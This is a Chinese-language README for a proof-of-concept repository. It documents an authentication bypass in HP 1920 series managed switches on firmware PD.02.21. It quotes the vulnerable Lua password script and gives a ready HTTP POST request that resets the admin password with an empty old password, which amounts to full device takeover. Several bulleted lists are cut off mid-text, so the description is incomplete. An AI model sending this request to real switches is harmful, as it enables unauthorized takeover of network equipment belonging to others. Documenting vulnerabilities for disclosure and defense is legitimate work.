固件版本:PD.02.21
受影响的设备:HP 1920系列智能托管交换机
本仓库记录了运行固件版本 PD.02.21 的 HP 1920 系列智能托管交换机中的一个关键认证绕过漏洞。该漏洞允许未经认证的攻击者在无需事先认证的情况下更改管理员密码,从而完全接管设备。
该漏洞存在于 /login/default_password_cfg.lua 脚本中,该脚本负责处理设备的默认密码更改。此脚本:
oldPwd 参数是否与默认密码(为空/空值)匹配default_password_cfg.lua 中的关键易受攻击部分:
if (request_method == 'POST') then
-- 无认证或会话检查!
local defaultPassword = fpaux.string_const("FD_USER_MGR_DEFAULT_PASSWORD")
-- ...
if form_post.oldPwd ~= defaultPassword then
errorStatus = "401 Unauthorized"
errorText = label.old_password_mismatch
else
-- 继续更改密码
-- ...
end
end
该脚本缺少关键安全控制:
攻击者可以使用简单的 HTTP POST 请求利用此漏洞:
POST /login/default_password_cfg.lua HTTP/1.1
Host: [目标-IP]
Content-Type: application/x-www-form-urlencoded
Content-Length: [长度]
username=admin&oldPwd=&newPwd=[新密码]&confirmPwd=[新密码]
注意:oldPwd 参数留空,因为默认密码为空。
此漏洞允许未经认证的攻击者:
尚未有时间研究最初发现此漏洞的人,我只是发布概念验证。
此信息仅供教育目的。作者对任何滥用此信息的行为不承担责任。在测试漏洞之前,请始终获得适当的授权。